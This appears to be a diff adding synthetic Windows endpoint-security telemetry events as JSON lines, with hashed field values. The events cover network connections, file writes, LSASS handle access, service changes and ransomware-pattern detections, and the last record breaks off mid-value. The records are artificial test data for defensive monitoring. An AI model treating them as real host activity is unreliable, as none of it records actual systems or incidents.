+{"ValidLifetime":"0","OutOctets":"0","MaxReassemblySize":"0","MediaConnectState":"0","InterfaceMtu":"9560","NlMtu":"0","NetworkGuid":"76f651e25d18ba610cf7770da4e745f9886b","InterfaceAlias":"937aad95bcccd8cfa1a93b7bb9c5a2ead","InDiscards":"0","InBroadcastOctets":"0","InterfaceIndex":"0","InterfaceFlags":"0","PermanentPhysicalAddress":"84-83-02-18-52-28-63-e2-04-16-69-91-78-74-82-30-57-61-38-46-31-03-72-60-27-38-22-88-69-31-67-60","DadState":"0","InterfaceType":"0","MinRouterAdvertisementInterval":"0","EventOrigin":"1","MediaType":"46","id":"b1ba5664a59d4ed815268b354ba0a8ca20f4","AddressFamily":"0","LocalIpAddressPipelineSource":"6","ReceiveLinkSpeed":"300785","AccessType":"4","event_simpleName":"LocalIpAddressIP6","PathMtuDiscoveryTimeout":"0","OutDiscards":"0","LocalAddressIP6":"2a02:cf40::1","IpEntryFlags":"0","PreferredLifetime":"0","ConnectionType":"1","DadTransmits":"0","OperStatus":"2","PhysicalAddress":"99-24-19-28-16-80-11-f3-87-25-11-47-34-01-86-69-80-62-83-83-76-34-14-74-17-18-88-22-65-31-79-46","RouteOrigin":"0","InUnknownProtos":"0","OutErrors":"0","DirectionType":"0","InOctets":"0","Entitlements":"86","name":"a01d5ce18dcbf077bc4","RouteAge":"0","InUcastOctets":"0","aid":"8b33228d110f333bb96bb91288f6d8ad","cid":"4092825518eaf67377a6e4492ae44577","IfType":"0","OutUcastOctets":"0","RetransmitTime":"0","SuffixOrigin":"0","InMulticastOctets":"0","OutBroadcastOctets":"0","CreationTimeStamp":"","LinkLocalAddressBehavior":"0","aip":"89.160.20.112","BaseReachableTime":"0","InErrors":"0","RouterDiscoveryBehavior":"0","LinkLocalAddressTimeout":"0","RouteMetric":"0","event_platform":"Win","SitePrefixLength":"0","TransmitLinkSpeed":"300785","PhysicalAddressLength":"72","InUcastPkts":"0","EffectiveTransmissionClass":"2","PrefixOrigin":"0","timestamp":"1743508799999","SkipAsSource":"0","AdminStatus":"2","OnLinkPrefixLength":"0","TunnelType":"0","ConfigStateHash":"9968901000","InterfaceDescription":"f59e6603c99b77bc826e67f3133aa91ba4","InterfaceIdentifier":"0","ScopeLevel":"0","PrefixLength":"0","OutUcastPkts":"0","NetworkInterfaceGuid":"c5b6c77ed6710604982c8df8956c7d308373","ScopeZone":"0","ConfigBuild":"2c8b.4.ae3729d.e6","PhysicalMediumType":"0","NetLuidIndex":"0","InNUcastPkts":"0","MaxRouterAdvertisementInterval":"0","Metric":"0","ReachableTime":"0","OutMulticastOctets":"0","OutNUcastPkts":"0"}
+{"event_simpleName":"LocalIpAddressRemovedIP6","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"9968901000","aip":"89.160.20.128","InterfaceIndex":"0","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","NetLuidIndex":"0","Entitlements":"76","name":"872932933dab2f183b4ce071bd","EventOrigin":"1","id":"46389a39e57e9b858db2074d5f94ec7a526d","LocalIpAddressPipelineSource":"6","EffectiveTransmissionClass":"3","aid":"8b33228d110f333bb96bb91288f6d8ad","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextThreadId":"53282469092040","aip":"81.2.69.142","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"6fa27f66ec6a05ff162d3ee4962108a1518e","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"LsassHandleFromUnsignedModule","ContextTimeStamp":"1752433670.075","ConfigStateHash":"3440491101","ContextProcessId":"617055030004","SHA256HashData":"7b289396ef4bdcf4e4c3d55c81c2090a8735fa93c9a58e5c538ae65e58a1b243","ExtendedKeyUsages":"1","FileSigningTime":"1696360530.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"330096244003","DesiredAccess":"2336","ImageFileName":"\\6ba0bd\\6cf19058\\9134161b\\4b9430\\6cf901c9\\d89a3e44.exe","Entitlements":"66","name":"a94954f7ef7b687d2b265ac33c34fe0","aid":"84bd7271911c13b227952666802a3e71","SignInfoFlags":"932000","Object1Type":"85300006300503060726","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""}
+{"event_simpleName":"ModifyServiceBinary","ContextTimeStamp":"1758171248.217","ConfigStateHash":"8200073020","ContextProcessId":"603000080603277383","ServiceDescription":"4329d830\\4a6a0a4b\\4b8e4186.dll,-101","ContextThreadId":"108300250532070103","aip":"216.160.83.56","ServiceSecurity":"1c31d/23092a59","ServiceImagePath":"6d7f6dfd4f514f59d14a90da6a661a3 -2 d140261e9173 -5","ServiceDisplayName":"7a476391b5908bfed8e3c37","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","ServiceStart":"3","ServiceType":"840","Entitlements":"16","name":"381f30fed8ec4c276ba29","EventOrigin":"1","ServiceFailureActions":"370906160706958900210000200600006090810303901200700052903087003011111111","id":"f65e6994cc640f2778a1b7af2c40ba921473","ServiceErrorControl":"1","EffectiveTransmissionClass":"3","aid":"c82cce517ab3200fde3ca362e648c993","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextThreadId":"28260411703000","aip":"216.160.83.56","ShareName":"cb8652cba4df7f900","event_platform":"Win","EventOrigin":"1","InterfaceGuid":"6934fcb718b8c1c32c1f9fbbd4bc4e6c7a0c","RpcClientProcessId":"400050400700","id":"c805aeef64230eaf7cd53c8a881aa4e8405a","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NetShareSecurityModify","ContextTimeStamp":"1756110899.866","UserName":"5f112a78ce366","ConfigStateHash":"8602068629","ContextProcessId":"409640218507","InterfaceVersion":"230092","AuthenticationId":"830","ShareSecurity":"1c31d/825bda18","ConfigBuild":"2c8b.4.a5bcbac.e6","RpcOpNum":"45","Entitlements":"26","name":"e6b491ccab8fa73b85131f75","aid":"3daf1fabea580837c4adcda08036d084","ShareSecuritySddl":"1c31d/aeb465b9","RpcNestingLevel":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextBaseFileName":"b95ddafd92696f0e5a","aip":"216.160.83.56","event_platform":"Win","EventOrigin":"1","id":"0fc45c7ed982785c2b6da8717ddcefdcd273","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","LocalAddressIP4":"81.2.69.142","event_simpleName":"NetworkConnectIP4","ContextTimeStamp":"1762067162.385","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"6550917119400","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"60181","Entitlements":"56","name":"13f26050a8e2372ba812","aid":"fd2a2839c2fb96079cb3c756f823e196","RemoteAddressIP4":"89.160.20.128","RemoteAddressString":"3b0cf5a207bde73b","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextBaseFileName":"b971114518c9","RemoteAddressIP6":"2a02:cf40::1","aip":"81.2.69.142","event_platform":"Win","EventOrigin":"1","id":"473484e6b33fdbe4e7274bc98a2365ad9e88","Protocol":"6","EffectiveTransmissionClass":"3","InContext":"0","timestamp":"1743508799999","event_simpleName":"NetworkConnectIP6","ContextTimeStamp":"1746290444.357","LocalAddressIP6":"2a02:cf40::2","ConfigStateHash":"205997984","ConnectionFlags":"0","ContextProcessId":"4093698090473","RemotePort":"600","ConfigBuild":"2c8b.4.ae3729d.e6","LocalPort":"45200","Entitlements":"56","name":"f35a9bcaa84e44df3194","aid":"bfc5af54b43f2802d6e18297ab82e810","RemoteAddressString":"2a02:cf40::1","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"}
+{"LocalAddressIP4":"89.160.20.128","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1762579185.012","ConfigStateHash":"3440491101","ConnectionFlags":"0","ContextProcessId":"1373030025759","RemotePort":"0","ContextThreadId":"351980000701043","aip":"81.2.69.144","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"73001","Entitlements":"66","name":"3e63bd7ad348fcf149d","EventOrigin":"1","id":"414d7d4c948639bd127ede963b8cd7f205d5","Protocol":"6","EffectiveTransmissionClass":"3","aid":"deb2fe5b3c4891f857b3d5cb68f4d47f","RemoteAddressIP4":"216.160.83.56","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1756453330.351","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"750096004","ConnectionFlags":"0","ContextProcessId":"6002550902534","RemotePort":"0","ContextThreadId":"400604050757015","aip":"216.160.83.56","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"96","name":"32e9d89e356847ad161","EventOrigin":"1","id":"6571a795f2d49a994f8fc3840f9780f9a9d8","Protocol":"6","EffectiveTransmissionClass":"3","aid":"fe88182661659af8a192fac5db624574","ConnectionDirection":"2","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"LocalAddressIP4":"216.160.83.56","ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP4","ContextTimeStamp":"1749621637.544","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"4700009307800","RemotePort":"60702","aip":"89.160.20.112","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"1049","Entitlements":"56","name":"4ccf568bd7cda1587d77b69c3f","EventOrigin":"1","id":"6944305135f71ae54b685de925bc80d24162","Protocol":"6","EffectiveTransmissionClass":"3","aid":"359d1a3764bc9914314c10bbe07b0ee5","RemoteAddressIP4":"89.160.20.128","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextBaseFileName":"8e8eab0b4bf","event_simpleName":"NetworkReceiveAcceptIP6","ContextTimeStamp":"1747626245.373","LocalAddressIP6":"2a02:cf40::1","RemoteAddressIP6":"2a02:cf40::2","ConfigStateHash":"710307050","ConnectionFlags":"0","ContextProcessId":"2000180444147","RemotePort":"8340","aip":"89.160.20.128","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","LocalPort":"7340","Entitlements":"36","name":"0f701c259d2d9d9e15dbcf1339","EventOrigin":"1","id":"2de192320bb03a0e9990059a2895376d0213","Protocol":"45","EffectiveTransmissionClass":"3","aid":"15d126c11ad8c113dec6e819ca553cf7","ConnectionDirection":"1","InContext":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextThreadId":"703603693040462","MinorFunction":"0","aip":"81.2.69.192","FileIdentifier":"990200511957122000670029061067970349454003500200","event_platform":"Win","NewFileIdentifier":"1d0d53208eb718270bdec907f1debfa0a9e88658a55f9330","EventOrigin":"1","id":"3576a8f1eee99ef99a90b644fac69ef96052","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"NewExecutableRenamed","ContextTimeStamp":"1758496164.011","ConfigStateHash":"710307050","ContextProcessId":"6670000954191","SourceFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\d5fdc1af\\b62491c6","IrpFlags":"100651","ConfigBuild":"2c8b.4.ae3729d.e6","MajorFunction":"6","Entitlements":"66","name":"b64d07a4710e4a075cd1f1","OperationFlags":"0","aid":"39074f37291ca6f2d189c1e110e04dfc","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a715181\\b169fe25\\40a20853\\b19eb57e.exe\\b62491c6\\6ffbd0fe.exe"}
+{"ContextBaseFileName":"7592a3326e8f","Options":"50000230","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"81.2.69.144","Information":"2","FileIdentifier":"069e4fe6f4d10f0e30f24838e1fd3eeab84cda3de7ec491c","event_platform":"Win","ShareAccess":"3","EventOrigin":"1","id":"159069fcc959600bb67b1d499fbba75e246f","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1747496883.062","ConfigStateHash":"9080600092","ContextProcessId":"6609070495594","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\447b992c\\d598026\\1c467339.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"4250080","Entitlements":"76","name":"df0d670fd6fc4521a6c960","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\2e00f238.lnk"}
+{"ContextBaseFileName":"481bc1a027f891f9b","Options":"66717670","ContextThreadId":"270140900130850060","MinorFunction":"0","aip":"89.160.20.128","Information":"3","FileIdentifier":"3983fc13457464a741b39fba5bb2260604ddb049477359f2","event_platform":"Win","ShareAccess":"1","EventOrigin":"1","id":"182d52dbecaca7970cb63c42addda760f512","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"NewScriptWritten","ContextTimeStamp":"1756143143.835","ConfigStateHash":"8200073020","ContextProcessId":"211820800920708240","IrpFlags":"2500","ContextImageFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\f89ea270\\d001f1d.4\\b5860c81.exe","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DesiredAccess":"5060417","Entitlements":"66","name":"af0673bdd782d244e9c","OperationFlags":"0","aid":"d6c18cb814c9100d81bedd3b4290407f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\3edfbf1f\\303abfe3\\45ab82\\3ca2a2ce\\481f1be1.config"}
+{"FileOperatorSid":"S-72386-31002-81578-35580-81320-88994-11078","ContextBaseFileName":"7592a3326e8f","FileCategory":"2","Size":"70097","ContextThreadId":"290000250300138","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"938e82c7b12a104fa76dcbeb0307793c9ec98bea974f8770","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\237ca1ff\\9f8125ec","id":"50b4564705009d4d899b257c4f60806debaf","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OleFileWritten","ContextTimeStamp":"1754452910.026","ConfigStateHash":"9080600092","ContextProcessId":"3609070495594","IrpFlags":"0","AuthenticationId":"10050074","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"36","name":"52f49e17cbb3258ec","OperationFlags":"0","aid":"e4a077554af537da06f56e39976d4420","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\08cfe5\\0f51ad6\\813ded8\\c7bac469\\d598026\\690dbe\\e6e3e8fa\\5fcb82a8.automaticDestinations-ms"}
+{"FileOperatorSid":"S-14916-87933-54904-21020-22768-89969-67859","ContextBaseFileName":"f8d3910f48a","FileCategory":"2","Size":"4008","ContextThreadId":"406830433040004","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","BoundingLimitCount":"10","FileIdentifier":"fe69780d23fffd9b5ea4d464cf4fe53f8d384cdc38b47460","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\4db87fa6\\901bda80","id":"fa7433e86a344c7c471c159189a5d9e46b61","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"OoxmlFileWritten","ContextTimeStamp":"1757793265.081","ConfigStateHash":"205997984","ContextProcessId":"3902807870001","IrpFlags":"0","AuthenticationId":"1046050","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","BoundingLimitDuration":"2486640","Entitlements":"16","name":"7233ba49d5aea975e9d","OperationFlags":"0","aid":"4274e60578e437f258cd288fc421c898","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\6b0cc\\6a5005c5\\0f51ad6\\8c31e\\d62f\\6\\9628fd57\\93\\697ee9b1.thmx"}
+{"event_simpleName":"PackedExecutableWritten","ConfigStateHash":"50820000","ContextProcessId":"600400303060","aip":"216.160.83.56","FileSubType":"1","SHA256HashData":"73954d484337197445100e89a7fac5e25964f5f3da4024f8c7d07dd840d4f4e1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","Entitlements":"66","name":"e1363774d0bedd151e540a3f0","EventOrigin":"1","id":"46fbd2ea624c1d37a02f228b5e07a641ba5d","EffectiveTransmissionClass":"3","aid":"827afde25ba0eeda5d204a68ff612048","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\64fdf48d.~BT\\104a\\d\\d598026\\ddd203\\de975748.2506_none_4305ee2bac2df612\\47776.dll"}
+{"FileOperatorSid":"S-67387-98466-95492-13435-71780-89109-76365","ContextBaseFileName":"8bccb383613c62792a","FileCategory":"2","Size":"90700","ContextThreadId":"599818020897405","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"b1bfcedc983f301364a3871d0def78ac0d8895b637b50e10","event_platform":"Win","TokenType":"1","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\b9e65ff8\\3fcf5e12","id":"e3b7d2a5cd6687e005e8d8440762de1a5cba","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PdfFileWritten","ContextTimeStamp":"1749743187.245","ConfigStateHash":"3000500100","ContextProcessId":"90797090022909","IrpFlags":"0","AuthenticationId":"107430","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"66","name":"0ae43bcd866d0651b","OperationFlags":"0","aid":"972c7871709024649af8a061337fe15f","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\c21d01b\\72cd25a5\\cf1\\8bda0e31\\dee65f00.pdf"}
+{"FileOperatorSid":"S-75678-67909-19006","ContextBaseFileName":"d3571e48e3804d61a8d8f51","FileCategory":"6","Size":"36724","ModuleCharacteristics":"800","ContextThreadId":"60020000009454","MinorFunction":"0","aip":"81.2.69.144","IsOnNetwork":"0","FileIdentifier":"cd3bc1e87072926155f8335b1c9ec29c91c2665caee05073","event_platform":"Win","TokenType":"1","ImageCheckSum":"0","EventOrigin":"1","DiskParentDeviceInstanceId":"835\\7f136004\\03bd69ab","ImageSubsystem":"2","id":"d5f767539bfcb8d8aede98bf95736a049e78","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","event_simpleName":"PeFileWritten","ContextTimeStamp":"1752518074.515","UserName":"a7d64dd9c23669","ConfigStateHash":"90089570","IsTransactedFile":"0","ContextProcessId":"3097482600003","IrpFlags":"0","ImageEntryPoint":"4040","SHA256HashData":"897ccaabed714b068888234743972924e15aee167c3cbc68f3c64a10751e73f0","AuthenticationId":"830","ContextImageFileName":"\\6ba0bd\\74d33d26\\aa669\\1cb\\8dff9f73\\e49665bb\\51a\\97f4d525.exe","FileWrittenFlags":"0","ConfigBuild":"2c8b.4.ae3729d.e6","FileEcpBitmask":"0","MajorFunction":"0","DllCharacteristics":"0","IsOnRemovableDisk":"0","ImageTimeStamp":"2526530060","Entitlements":"16","name":"5f323af958b5a344","OperationFlags":"0","aid":"e8709208d980534971098b9a6fb8cf05","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\74d33d26\\d598026\\d62f\\c337ca0.tmp_dir1745907951\\85ba88.exe"}
+{"event_simpleName":"PeVersionInfo","ConfigStateHash":"30820000","aip":"89.160.20.112","SHA256HashData":"ac64229aee8b0f73735a2170025a9b3e58dc0f6ea348b80405e8e0f43a137a78","ConfigBuild":"2c8b.4.ae3729d.e6","VersionInfo":"67a713f637126c54cd13f593d789edab1bc1ef0908babbc9d9ee992e1cfb9937","CompanyName":"48fd8e96569f1cb4","FixedFileVersion":"81.2.69.142","event_platform":"Win","OriginalFilename":"71f2cbc28fc61e5b304e","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\c71dcff2\\150824cf.0_x64__v10z8vjag6ke6\\b9035\\48fd8e96.exe","FileVersion":"81.2.69.192","Entitlements":"16","name":"510aa45e1032311","EventOrigin":"45","id":"51fdaf250bbe8ba7a3d2f76e5160dbcf2719","EffectiveTransmissionClass":"3","aid":"f5f8341524ed1dd257646890be631aee","LanguageId":"0","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ContextThreadId":"266500049070090","aip":"89.160.20.112","PublicKeys":"0","event_platform":"Win","EventOrigin":"1","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1743508799999","Status":"0","event_simpleName":"PrivilegedProcessHandleFromUnsignedModule","ContextTimeStamp":"1751718895.992","ConfigStateHash":"3440491101","ContextProcessId":"8080063970217","SHA256HashData":"dca85177c59eb524d5339e3f884fc25933bba35549d4d94e86701f1de235beb5","ExtendedKeyUsages":"1","FileSigningTime":"1601400887.000","ConfigBuild":"2c8b.4.ae3729d.e6","Object1Name":"","TargetProcessId":"3542590006570","DesiredAccess":"5900","ImageFileName":"\\6ba0bd\\a37a4d54\\9134161b\\1fcd147a\\c3356034\\158.exe","Entitlements":"86","name":"891d960d630f07080d2bbd00503c6ca04d9007b20af","aid":"6b6c287c6e8ce2041ce47a740e621689","SignInfoFlags":"932000","Object1Type":"81030550010000800400","cid":"4092825518eaf67377a6e4492ae44577","Certificate":""}
+{"event_simpleName":"ProcessExecOnPackedExecutable","ConfigStateHash":"550603001","ContextProcessId":"2492243565020","aip":"89.160.20.112","FileSubType":"4","SHA256HashData":"d35fbba9f5b92147dbbdaffc79120d2a372b34ec964cfba4e5eaf6d9aed27c3d","ConfigBuild":"2c8b.4.bab7095.e6","event_platform":"Win","TargetProcessId":"1080047380010","Entitlements":"96","name":"deb18e9d761c09c713b0634dc553304","EventOrigin":"1","id":"17ef479f49727073c1afd6d8d3ede95a561e","EffectiveTransmissionClass":"3","aid":"2aff58e38d0a0bf09e91cfee7bcb819e","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"ProcessExecOnSMBFile","UserName":"601f56394305","ConfigStateHash":"3030480009","ContextProcessId":"2002000091665","aip":"89.160.20.112","LogonDomain":"6e","AuthenticationId":"30409004030","UserPrincipal":"testuser@test.com","UserSid":"S-70019-66419-130-71535-26067-98292-95578","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","PatternId":"459","ClientComputerName":"1a241b813c0288","Entitlements":"36","name":"8f744680ad930347c854bf","EventOrigin":"1","id":"0b8735c9a332451c9040cce79b716849ed11","EffectiveTransmissionClass":"3","aid":"b956f48020b41a099bfc062444b8ea38","RemoteAddressIP4":"81.2.69.144","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"ProcessCreateFlags":"4","IntegrityLevel":"90902","ParentProcessId":"3000051703140","SourceProcessId":"8000051703140","aip":"81.2.69.142","SHA1HashData":"9692067083780606753097782045800757094700","UserSid":"S-62374-88856-1334","event_platform":"Win","TokenType":"1","ProcessEndTime":"","AuthenticodeHashData":"98ff96abd02d048d30c3f32f23ab030fc39caf695d57413a3a3f8cd7c92ffdb4","ParentBaseFileName":"bce7ccba7d55464cc50","EventOrigin":"1","ImageSubsystem":"2","id":"36f0bb29be278fc8322806730ffa12e53207","EffectiveTransmissionClass":"3","SessionId":"0","Tags":"982841c72d9eb009ef4f1c891dd3b92fb04d5b0d8f8d6075c2b877f1b8c2","timestamp":"1743508799999","event_simpleName":"ProcessRollup2","RawProcessId":"10603","ConfigStateHash":"710307050","MD5HashData":"9fd1131ff976c9a3212a1db685870aa1","SHA256HashData":"f11655dbd09ebcb3e28ecec2ba71cb95351a0c1d67e498d218bfcbb47b623331","ProcessSxsFlags":"26","AuthenticationId":"830","ConfigBuild":"2c8b.4.ae3729d.e6","WindowFlags":"274","CommandLine":"5f20a496dc8 d43d1f330482ee8 5699b4437440b65580e85c88f5cdca035e77 -e6ec25fc0 -ce f06d9af09b660129fc208a858ce75e59 -63 90907973f6 -9de2 e162e -af0975 7ce44a7c5b96f5c3c3a2d897904ef51e4e4a1bcfcce6f8c0d4c334b1b10ce851 -d89d7 d97ed553ad5f4263d831dfb497ed48a295e01396 -288 5","ParentAuthenticationId":"830","TargetProcessId":"8200110794047","ImageFileName":"\\6ba0bd\\447b992c\\9134161b\\5fd4a1cd\\d5a15842.exe","SourceThreadId":"400901163020000","Entitlements":"46","name":"f9ba95e9061aae4be","ProcessStartTime":"1745988595.443","ProcessParameterFlags":"41103","aid":"40b756af7c1d76ef66cb380d94090915","SignInfoFlags":"932000","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"ProcessSelfDeleted","ContextTimeStamp":"1748026781.961","ConfigStateHash":"5080600092","ContextProcessId":"8008070284808","SourceProcessId":"8020239020790","aip":"81.2.69.144","SHA256HashData":"0c0316087f441fce70d1cf8e6c086571503bb8b6043f9e864f6bee0a2e873a87","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","TargetProcessId":"5100718000400","ImageFileName":"\\6ba0bd\\447b992c\\6b0cc\\08ddb9f6\\0f51ad6\\8c31e\\d62f\\e\\ff53b0\\2b6\\38227bb0.exe","Entitlements":"16","name":"1a4daccccece9ef5ba96","EventOrigin":"1","id":"37ea1966fb73e596eaceeeda74969e0cf6fe","EffectiveTransmissionClass":"2","aid":"4a13114d95ed726004929f3de3863e97","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
+{"event_simpleName":"RansomwareFileAccessPattern","ConfigStateHash":"7800020060","ContextProcessId":"1005300580270","SourceFileName":"\\6ba0bd\\76648b42\\d598026\\b79c\\5c49f\\be379a3.rtf","aip":"89.160.20.112","SHA256HashData":"60f9adaf4a2186438724451fe5a92131ec56a4fd3d937f91f9744c185fc37a68","ConfigBuild":"2c8b.4.ae3729d.e6","event_platform":"Win","CommandLine":"54d\\d598026\\4a6a0a4b\\a096c58f.exe\"","PatternId":"684","ImageFileName":"\\6ba0bd\\257d4e13\\d598026\\dc9ec376\\a096c58f.exe","Entitlements":"36","name":"678e528c681bbe14db4667945d920","EventOrigin":"1","ClientId":"81","id":"791f3434f4eb1f2494635bfa6c51a2855d12","EffectiveTransmissionClass":"3","aid":"ce205ce972e1ec0b34c552d96f46397a","Tags":"18f4a79e5aa92e609a9bad2e87bbd8cd1193d6f7d780ee8ecaf075acb3f4ead5","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\76648b42\\d598026\\c7bac469.NET\\c70281ee\\aca7.30319\\4820dd5a.sql"}
+{"Options":"90328446","ContextThreadId":"344002022970675","MinorFunction":"0","aip":"89.160.20.112","BoundingLimitCount":"1","Information":"1","FileIdentifier":"4571f745c2bb680b5a6fb2aa3870497116b291a5fd947612","event_platform":"Win","ShareAccess":"7","EventOrigin":"1","id":"13e038874f0490733a5191031434b8657382","FileObject":"0","EffectiveTransmissionClass":"3","FileAttributes":"0","timestamp":"1743508799999","Status":"0","event_simpleName":"RansomwareOpenFile","ContextTimeStamp":"1751029020.082","ConfigStateHash":"9250777000","ContextProcessId":"7701685113510","IrpFlags":"2500","ConfigBuild":"2c8b.4.bab7095.e6","MajorFunction":"0","DesiredAccess":"5750008","BoundingLimitDuration":"5486640","Entitlements":"26","name":"4c8f7117e5d227bf9ddc","OperationFlags":"0","aid":"ea08505420aa828a0a52a6eed3c8a196","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\6ba0bd\\447b992c\\9134161b\\b169fe25\\4e7075fa.key"}
+{"ContextThreadId":"98420079085202","aip":"89.160.20.112","RegObjectName":"\\85aaee17\\eb92252\\d621c1\\9014a7b3\\32d7e82\\185d320a","RegClassificationFlags":"454","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"2e723341d059eefec4c8ff3c9062764c68e3","EffectiveTransmissionClass":"3","RegStringValue":"1c\\e2\\82\\d598026\\d62f\\9420a69.exe\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\c663c82b\\d62f\\fbcbd9a.tmp\u0000\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\add7750.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\89e8b1.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\d4579.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\18f\\a64335cc.DLL\u0000*1\\e2\\82\\d598026\\dc9ec376\\627c0\\a715181\\560\\4\\a64335c